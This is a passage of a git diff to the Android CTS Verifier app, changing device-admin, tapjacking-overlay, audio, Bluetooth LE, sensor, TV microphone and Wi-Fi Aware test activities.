+            intent.putExtra(Intent.EXTRA_RETURN_RESULT, true);
+            startActivityForResult(intent, REQUEST_INSTALL_ADMIN);
+        } else if (v == mAddDeviceAdminButton) {
             Intent securitySettingsIntent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
             securitySettingsIntent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mAdmin);
             startActivityForResult(securitySettingsIntent, REQUEST_ENABLE_ADMIN);
@@ -139,10 +158,13 @@
 
     @Override
     public void onActivityResult(int requestCode, int resultCode, Intent data) {
-        if (requestCode == REQUEST_ENABLE_ADMIN) {
+        if (requestCode == REQUEST_INSTALL_ADMIN) {
+            mAdminInstalled = resultCode == RESULT_OK;
+        } else if (requestCode == REQUEST_ENABLE_ADMIN) {
             mAdminActivated = mDevicePolicyManager.isAdminActive(mAdmin);
         } else if (requestCode == REQUEST_UNINSTALL_ADMIN) {
-            mAdminRemoved = !isPackageInstalled(ADMIN_PACKAGE_NAME);
+            mAdminRemoved = !mDevicePolicyManager.isAdminActive(mAdmin) && !isPackageInstalled(
+                    ADMIN_PACKAGE_NAME);
         }
     }
 
@@ -160,11 +182,11 @@
     }
 
     private void updateWidgets() {
+        mInstallAdminButton.setEnabled(mApkFile.exists() && !mAdminInstalled);
         mInstallStatus.setImageResource(
                 mAdminInstalled ? R.drawable.fs_good : R.drawable.fs_indeterminate);
-        mInstallAdminText.setText(mAdminInstalled ? R.string.da_admin_installed_status_text
-                : R.string.da_install_admin_instructions);
         mInstallStatus.invalidate();
+
         mAddDeviceAdminButton.setEnabled(mAdminInstalled && !mAdminActivated);
         mEnableStatus.setImageResource(
                 mAdminActivated ? R.drawable.fs_good : R.drawable.fs_indeterminate);
@@ -177,4 +199,8 @@
 
         getPassButton().setEnabled(mAdminRemoved);
     }
+
+    public static class DeviceAdminApkFileProvider extends FileProvider {
+        static final String CONTENT_AUTHORITY = "com.android.cts.verifier.admin.fileprovider";
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
index e81f301..52c7ed5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
@@ -22,7 +22,6 @@
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
 
 import android.app.Activity;
-import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.view.WindowManager;
 
@@ -31,8 +30,6 @@
 
 public class OverlayingActivity extends Activity {
 
-    private static final long ACTIVITY_TIMEOUT_ON_WATCH = 10_000;
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -40,9 +37,5 @@
         WindowManager.LayoutParams params = getWindow().getAttributes();
         params.flags = FLAG_LAYOUT_NO_LIMITS | FLAG_NOT_TOUCH_MODAL | FLAG_NOT_TOUCHABLE
                 | FLAG_KEEP_SCREEN_ON;
-        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
-            getWindow().getDecorView().postDelayed(() -> OverlayingActivity.this.finish(),
-                    ACTIVITY_TIMEOUT_ON_WATCH);
-        }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/Correlation.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/Correlation.java
index 98d1365..c653d1d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/Correlation.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/Correlation.java
@@ -131,7 +131,7 @@
             }
         }
 
-        log(String.format(" Threshold: %.3f, ignored:%d/%d (%%.2f)", threshold, ignored, N,
+        log(String.format(" Threshold: %.3f, ignored:%d/%d (%.2f)", threshold, ignored, N,
                 (double) ignored/(double)N));
 
         status = true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
index 21a70b9..0c69790 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
@@ -106,7 +106,8 @@
 
         // Any valid peripherals
         for(AudioDeviceInfo devInfo : devices) {
-            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE) {
+            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
+                devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
                 if (devInfo.isSink()) {
                     mOutputDevInfo = devInfo;
                 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
index 9a01b35..f05bc9e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -142,10 +142,10 @@
     public class LocalClickListener implements View.OnClickListener {
         @Override
         public void onClick(View view) {
-            switch (view.getId()) {
+            int id = view.getId();
+            switch (id) {
             case R.id.uap_recordRecordBtn:
-                Log.i(TAG, "Record Button Pressed");
-                if (!isPlaying()) {
+                if (!isRecording()) {
                     if (startRecording(false)) {
                         mRecordBtn.setText(getString(R.string.audio_uap_record_stopBtn));
                         mRecordLoopbackBtn.setEnabled(false);
@@ -158,12 +158,15 @@
                 break;
 
             case R.id.uap_recordRecordLoopBtn:
-                Log.i(TAG, "Record Loopback Button Pressed");
-                if (!isPlaying()) {
-                    startRecording(true);
-                    mRecordLoopbackBtn.setText(getString(R.string.audio_uap_record_stopBtn));
-                    mRecordBtn.setEnabled(false);
+                if (!isRecording()) {
+                    if (startRecording(true)) {
+                        mRecordLoopbackBtn.setText(getString(R.string.audio_uap_record_stopBtn));
+                        mRecordBtn.setEnabled(false);
+                    }
                 } else {
+                    if (isPlaying()) {
+                        stopPlay();
+                    }
                     stopRecording();
                     mRecordLoopbackBtn.setText(
                         getString(R.string.audio_uap_record_recordLoopbackBtn));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
index e1d5a0d..59b20b0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
@@ -60,6 +60,14 @@
               "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
               "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
             "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"gen1-headset\" ProfileDescription=\"Reference USB Headset\" ProductName=\"USB-Audio - Skylab\">" +
+            "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"2,4\" SampleRates=\"8000,16000,32000,44100,48000\" />" +
+            "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1\" Encodings=\"2\" SampleRates=\"8000,16000,32000,44100,48000\" />" +
+            "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" HasBtnD=\"1\" />" +
+          "</PeripheralProfile>" +
+          "<PeripheralProfile ProfileName=\"mir\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB Audio\">" +
+            "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
+          "</PeripheralProfile>" +
           "</ProfileList>";
 
     // XML Tags and Attributes
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index e61cefe..28d08cd 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -148,8 +148,8 @@
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_CONNECT";
     public static final String BLE_CLIENT_ACTION_CLIENT_CONNECT_SECURE =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_CONNECT_SECURE";
-    public static final String BLE_CLIENT_ACTION_BLE_DISVOCER_SERVICE =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_BLE_DISVOCER_SERVICE";
+    public static final String BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE";
     public static final String BLE_CLIENT_ACTION_REQUEST_MTU_23 =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_REQUEST_MTU_23";
     public static final String BLE_CLIENT_ACTION_REQUEST_MTU_512 =
@@ -353,7 +353,7 @@
                     mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_NONE;
                     startScan();
                     break;
-                case BLE_CLIENT_ACTION_BLE_DISVOCER_SERVICE:
+                case BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE:
                     if (mBluetoothGatt != null && mBleState == BluetoothProfile.STATE_CONNECTED) {
                         mBluetoothGatt.discoverServices();
                     } else {
@@ -770,13 +770,13 @@
     }
 
     private void notifyReliableWriteCompleted() {
-        showMessage("Reliable write compelte");
+        showMessage("Reliable write complete");
         Intent intent = new Intent(BLE_RELIABLE_WRITE_COMPLETED);
         sendBroadcast(intent);
     }
 
     private void notifyReliableWriteBadRespCompleted(String err) {
-        showMessage("Reliable write(bad response) compelte");
+        showMessage("Reliable write(bad response) complete");
         Intent intent = new Intent(BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
         if (err != null) {
             intent.putExtra(EXTRA_ERROR_MESSAGE, err);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index df9a368..b5220f8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -35,6 +35,7 @@
 
 import java.util.ArrayList;
 import java.util.List;
+import android.util.Log;
 
 public class BleClientTestBaseActivity extends PassFailButtons.Activity {
     public static final String TAG = "BleClientTestBase";
@@ -62,7 +63,7 @@
     private static final int PASS_FLAG_ALL = 0x3FFFF;
 
     private final int BLE_CLIENT_CONNECT = 0;
-    private final int BLE_BLE_DISVOCER_SERVICE = 1;
+    private final int BLE_BLE_DISCOVER_SERVICE = 1;
     private final int BLE_READ_CHARACTERISTIC = 2;
     private final int BLE_WRITE_CHARACTERISTIC = 3;
     private final int BLE_REQUEST_MTU_23BYTES = 4;
@@ -90,8 +91,6 @@
         super.onCreate(savedInstanceState);
         setContentView(R.layout.ble_server_start);
         setPassFailButtonClickListeners();
-        setInfoResources(R.string.ble_client_test_name,
-                R.string.ble_client_test_info, -1);
         getPassButton().setEnabled(false);
 
         mTestAdapter = new TestAdapter(this, setupTestList());
@@ -212,7 +211,11 @@
             String action = intent.getAction();
             String newAction = null;
             String actionName = null;
+            long previousPassed = mPassed;
             final Intent startIntent = new Intent(BleClientTestBaseActivity.this, BleClientService.class);
+            if (action != null) {
+                Log.d(TAG, "Processing " + action);
+            }
             switch (action) {
             case BleClientService.BLE_BLUETOOTH_DISABLED:
                 showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
@@ -222,11 +225,11 @@
                 mTestAdapter.setTestPass(BLE_CLIENT_CONNECT);
                 mPassed |= PASS_FLAG_CONNECT;
                 // execute service discovery test
-                newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISVOCER_SERVICE;
+                newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE;
                 break;
             case BleClientService.BLE_SERVICES_DISCOVERED:
                 actionName = getString(R.string.ble_discover_service_name);
-                mTestAdapter.setTestPass(BLE_BLE_DISVOCER_SERVICE);
+                mTestAdapter.setTestPass(BLE_BLE_DISCOVER_SERVICE);
                 mPassed |= PASS_FLAG_DISCOVER;
                 // execute MTU requesting test (23bytes)
                 newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC;
@@ -283,6 +286,7 @@
 
                 // skip Reliable write (bad response) test
                 mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
+                Log.d(TAG, "Skip PASS_FLAG_RELIABLE_WRITE_BAD_RESP.");
                 newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
                 showProgressDialog = true;
                 break;
@@ -342,6 +346,7 @@
                 // newAction = BleClientService.BLE_CLIENT_ACTION_READ_RSSI;
                 // execute disconnection test
                 mPassed |= PASS_FLAG_READ_RSSI;
+                Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
                 newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
                 break;
             case BleClientService.BLE_READ_REMOTE_RSSI:
@@ -365,9 +370,16 @@
                 break;
             }
 
+            if (previousPassed != mPassed) {
+                String logMessage = String.format("Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
+                                                  previousPassed, mPassed, mPassed ^ previousPassed);
+                Log.d(TAG, logMessage);
+            }
+
             mTestAdapter.notifyDataSetChanged();
 
             if (newAction != null) {
+                Log.d(TAG, "Starting " + newAction);
                 startIntent.setAction(newAction);
                 if (STEP_EXECUTION) {
                     closeDialog();
@@ -399,6 +411,7 @@
             }
 
             if (mPassed == PASS_FLAG_ALL) {
+                Log.d(TAG, "All Tests Passed.");
                 if (shouldRebootBluetoothAfterTest()) {
                     mBtPowerSwitcher.executeSwitching();
                 } else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureClientStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureClientStartActivity.java
index 03256fb..d0a6e80 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureClientStartActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureClientStartActivity.java
@@ -18,6 +18,7 @@
 

 import android.content.Intent;

 import android.os.Bundle;

+import com.android.cts.verifier.R;

 

 public class BleInsecureClientStartActivity extends BleClientTestBaseActivity {

     private Intent mIntent;

@@ -25,6 +26,10 @@
     @Override

     public void onCreate(Bundle savedInstanceState) {

         super.onCreate(savedInstanceState);

+

+        setInfoResources(R.string.ble_client_test_name,

+                R.string.ble_insecure_client_test_info, -1);

+

         mIntent = new Intent(this, BleClientService.class);

         mIntent.setAction(BleClientService.BLE_CLIENT_ACTION_CLIENT_CONNECT);

 

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 2c44030..044806d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -223,9 +223,6 @@
                 return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
             case UserManager.DISALLOW_CONFIG_WIFI:
                 return pm.hasSystemFeature(PackageManager.FEATURE_WIFI);
-            case UserManager.DISALLOW_NETWORK_RESET:
-                // This test should not run on watch
-                return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
             case UserManager.DISALLOW_OUTGOING_BEAM:
                 return pm.hasSystemFeature(PackageManager.FEATURE_NFC);
             case UserManager.DISALLOW_SHARE_LOCATION:
@@ -249,4 +246,4 @@
             this.intentAction = intentAction;
         }
     }
-}
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
index 52b3dee..4c8204f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
@@ -100,6 +100,7 @@
                 TestSensorOperation.createOperation(environment, 100 /* event count */);
         verifyMeasurements.addVerification(new MeanVerification(
                 expectations,
+                new float[]{1.95f, 1.95f, 1.95f} /* m / s^2 */,
                 new float[]{1.95f, 1.95f, 1.95f} /* m / s^2 */));
         verifyMeasurements.execute(getCurrentTestNode());
         return null;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index e5a262a..841dcea 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -240,22 +240,18 @@
             mAlarmManager.cancel(mPendingIntent);
 
             for (Sensor sensor : sensorList) {
-                if (sensor.getReportingMode() != Sensor.REPORTING_MODE_CONTINUOUS) {
-                    Log.i(TAG, "testTimestampClockSource skipping non-continuous sensor: '" + sensor.getName());
-                    continue;
-                }
-                if (sensor.getType() >= Sensor.TYPE_DEVICE_PRIVATE_BASE) {
-                    Log.i(TAG, "testTimestampClockSource skipping vendor specific sensor: '" + sensor.getName());
-                    continue;
-                }
-                try {
-                    string = runVerifySensorTimestampClockbase(sensor, false);
-                    if (string != null) {
-                        return string;
+                if (sensor.getReportingMode() == Sensor.REPORTING_MODE_CONTINUOUS) {
+                    try {
+                        string = runVerifySensorTimestampClockbase(sensor, false);
+                        if (string != null) {
+                            return string;
+                        }
+                    } catch(Throwable e) {
+                        Log.e(TAG, e.getMessage());
+                        error_occurred = true;
                     }
-                } catch(Throwable e) {
-                    Log.e(TAG, e.getMessage());
-                    error_occurred = true;
+                } else {
+                    Log.i(TAG, "testTimestampClockSource skipping non-continuous sensor: '" + sensor.getName());
                 }
             }
             if (error_occurred) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/helpers/PowerTestHostLink.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/helpers/PowerTestHostLink.java
index d53005f..ed2fea3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/helpers/PowerTestHostLink.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/helpers/PowerTestHostLink.java
@@ -413,9 +413,6 @@
         List<Sensor> allSensors = mSensorManager.getSensorList(Sensor.TYPE_ALL);
         String response = RESPONSE_OK;
         for (Sensor sensor : allSensors) {
-            if (sensor.getType() >= Sensor.TYPE_DEVICE_PRIVATE_BASE) {
-                continue;
-            }
             response = switchSensor(sensor.getType(), on);
             if (response == null) {
                 response = RESPONSE_ERR;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/MicrophoneDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/MicrophoneDeviceTestActivity.java
new file mode 100644
index 0000000..eca02c1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/MicrophoneDeviceTestActivity.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.tv;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+
+import android.annotation.SuppressLint;
+import android.content.Context;
+import android.hardware.input.InputManager;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.InputDevice;
+import android.view.View;
+import android.widget.Toast;
+
+import com.android.cts.verifier.R;
+
+/**
+ * Tests for verifying that all input devices report correct hasMicrophone() states.
+ */
+@SuppressLint("NewApi")
+public class MicrophoneDeviceTestActivity extends TvAppVerifierActivity
+        implements View.OnClickListener {
+    private static final String TAG = "MicrophoneDeviceTestActivity";
+    private static final boolean PASS = true;
+
+    private InputManager mInputManager;
+    private HashMap<View, List<Object>> mInputDeviceItems;
+    private View mPreparationYesItem;
+    private View mPreparationNoItem;
+
+    @Override
+    public void onClick(View v) {
+        final View postTarget = getPostTarget();
+
+        if (containsButton(mPreparationYesItem, v)) {
+            setPassState(mPreparationYesItem, true);
+            setButtonEnabled(mPreparationNoItem, false);
+            createInputDeviceItems();
+            return;
+        } else if (containsButton(mPreparationNoItem, v)) {
+            setPassState(mPreparationYesItem, false);
+            setButtonEnabled(mPreparationNoItem, false);
+            getPassButton().setEnabled(false);
+            return;
+        } else if (mInputDeviceItems == null) {
+            return;
+        }
+
+        for (View item : mInputDeviceItems.keySet()) {
+            if (containsButton(item, v)) {
+                final List<Object> triple = mInputDeviceItems.get(item);
+                final boolean userAnswer = (boolean) triple.get(0);
+                final boolean actualAnswer = (boolean) triple.get(1);
+                final View pairedItem = (View) triple.get(2);
+
+                if (userAnswer == actualAnswer) {
+                    setPassState(userAnswer ? item : pairedItem, true);
+                    setButtonEnabled(userAnswer ? pairedItem : item, false);
+                    item.setTag(PASS); pairedItem.setTag(PASS);
+                    if (checkAllPassed()) {
+                        getPassButton().setEnabled(true);
+                    }
+                    return;
+                }
+
+                final int messageId =
+                    actualAnswer ? R.string.tv_microphone_device_test_negative_mismatch :
+                    R.string.tv_microphone_device_test_positive_mismatch;
+                Toast.makeText(this, messageId, Toast.LENGTH_LONG).show();
+                setPassState(userAnswer ? item : pairedItem, false);
+                getPassButton().setEnabled(false);
+                return;
+            }
+        }
+    }
+
+    @Override
+    protected void createTestItems() {
+        mPreparationYesItem = createUserItem(
+                R.string.tv_microphone_device_test_prep_question,
+                R.string.tv_yes, this);
+        setButtonEnabled(mPreparationYesItem, true);
+        mPreparationNoItem = createButtonItem(R.string.tv_no, this);
+        setButtonEnabled(mPreparationNoItem, true);
+    }
+
+    private void createInputDeviceItems() {
+        final Context context = MicrophoneDeviceTestActivity.this;
+        mInputManager = (InputManager) context.getSystemService(Context.INPUT_SERVICE);
+
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        mInputDeviceItems = new HashMap<View, List<Object>>();
+
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+            final boolean hasMicrophone = inputDevice.hasMicrophone();
+            Log.w(TAG, "name: " + inputDevice.getName() + ", mic: " + hasMicrophone + ", virtual: "
+                  + inputDevice.isVirtual() + ", descriptor: " + inputDevice.getDescriptor());
+
+            // Skip virtual input devices such as virtual keyboards.  This does
+            // not, e.g., include com.google.android.tv.remote bluetooth connections.
+            if (inputDevice.isVirtual()) {
+                continue;
+            }
+
+            final CharSequence micQuestion =
+                getString(R.string.tv_microphone_device_test_mic_question, inputDevice.getName());
+
+            final View inputDeviceYesItem = createUserItem(micQuestion, R.string.tv_yes, this);
+            setButtonEnabled(inputDeviceYesItem, true);
+            final View inputDeviceNoItem = createButtonItem(R.string.tv_no, this);
+            setButtonEnabled(inputDeviceNoItem, true);
+            mInputDeviceItems.put(
+                inputDeviceYesItem, Arrays.asList(true, hasMicrophone, inputDeviceNoItem));
+            mInputDeviceItems.put(
+                inputDeviceNoItem, Arrays.asList(false, hasMicrophone, inputDeviceYesItem));
+        }
+
+        if (mInputDeviceItems.size() == 0) {
+            Toast.makeText(this, R.string.tv_microphone_device_test_no_input_devices,
+                           Toast.LENGTH_LONG).show();
+            getPassButton().setEnabled(true);
+        }
+    }
+
+    @Override
+    protected void setInfoResources() {
+        setInfoResources(R.string.tv_microphone_device_test,
+                R.string.tv_microphone_device_test_info, -1);
+    }
+
+    private boolean hasPassed(View item) {
+        return (item.getTag() != null) && ((Boolean) item.getTag()) == PASS;
+    }
+
+    private boolean checkAllPassed() {
+        if (mInputDeviceItems != null && mInputDeviceItems.size() > 0) {
+            for (View item : mInputDeviceItems.keySet()) {
+                if (!hasPassed(item)) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
index d580ef8..41ab6f7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
@@ -91,6 +91,22 @@
     }
 
     /**
+     * Call this to create a test step where the user must perform some action.
+     */
+    protected View createUserItem(CharSequence instructionCharSequence,
+                                  int buttonTextId, View.OnClickListener l) {
+        View item = mInflater.inflate(R.layout.tv_item, mItemList, false);
+        TextView instructions = (TextView) item.findViewById(R.id.instructions);
+        instructions.setText(instructionCharSequence);
+        Button button = (Button) item.findViewById(R.id.user_action_button);
+        button.setVisibility(View.VISIBLE);
+        button.setText(buttonTextId);
+        button.setOnClickListener(l);
+        mItemList.addView(item);
+        return item;
+    }
+
+    /**
      * Call this to create a test step where the test automatically evaluates whether
      * an expected condition is satisfied.
      */
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
index 635d066..5f64f02 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
@@ -22,6 +22,7 @@
 import android.net.ConnectivityManager;
 import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
+import android.net.wifi.aware.DiscoverySession;
 import android.net.wifi.aware.PeerHandle;
 import android.net.wifi.aware.PublishConfig;
 import android.net.wifi.aware.PublishDiscoverySession;
@@ -89,6 +90,7 @@
 
     private String mFailureReason;
     private WifiAwareSession mWifiAwareSession;
+    private DiscoverySession mWifiAwareDiscoverySession;
 
     public DataPathInBandTestCase(Context context, boolean isSecurityOpen, boolean isPublish,
             boolean isUnsolicited) {
@@ -153,6 +155,10 @@
 
     @Override
     protected void tearDown() {
+        if (mWifiAwareDiscoverySession != null) {
+            mWifiAwareDiscoverySession.close();
+            mWifiAwareDiscoverySession = null;
+        }
         if (mWifiAwareSession != null) {
             mWifiAwareSession.close();
             mWifiAwareSession = null;
@@ -191,6 +197,7 @@
                 return false;
         }
         SubscribeDiscoverySession discoverySession = callbackData.subscribeDiscoverySession;
+        mWifiAwareDiscoverySession = discoverySession;
         if (discoverySession == null) {
             setFailureReason(mContext.getString(R.string.aware_status_subscribe_null_session));
             Log.e(TAG, "executeTestSubscriber: subscribe succeeded but null session returned");
@@ -305,6 +312,7 @@
 
         // 7. destroy session
         discoverySession.close();
+        mWifiAwareDiscoverySession = null;
 
         mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_lifecycle_ok));
         return true;
@@ -340,6 +348,7 @@
                 return false;
         }
         PublishDiscoverySession discoverySession = callbackData.publishDiscoverySession;
+        mWifiAwareDiscoverySession = discoverySession;
         if (discoverySession == null) {
             setFailureReason(mContext.getString(R.string.aware_status_publish_null_session));
             Log.e(TAG, "executeTestPublisher: publish succeeded but null session returned");
@@ -420,6 +429,7 @@
 
         // 7. destroy session
         discoverySession.close();
+        mWifiAwareDiscoverySession = null;
 
         mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_lifecycle_ok));
         return true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java
index b054781..0f81d2c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java
@@ -22,6 +22,7 @@
 import android.net.ConnectivityManager;
 import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
+import android.net.wifi.aware.DiscoverySession;
 import android.net.wifi.aware.PeerHandle;
 import android.net.wifi.aware.PublishConfig;
 import android.net.wifi.aware.PublishDiscoverySession;
@@ -92,6 +93,7 @@
 
     private String mFailureReason;
     private WifiAwareSession mWifiAwareSession;
+    private DiscoverySession mWifiAwareDiscoverySession;
     private byte[] mDiscoveryMac;
 
     public DataPathOutOfBandTestCase(Context context, boolean isSecurityOpen,
@@ -168,6 +170,10 @@
 
     @Override
     protected void tearDown() {
+        if (mWifiAwareDiscoverySession != null) {
+            mWifiAwareDiscoverySession.close();
+            mWifiAwareDiscoverySession = null;
+        }
         if (mWifiAwareSession != null) {
             mWifiAwareSession.close();
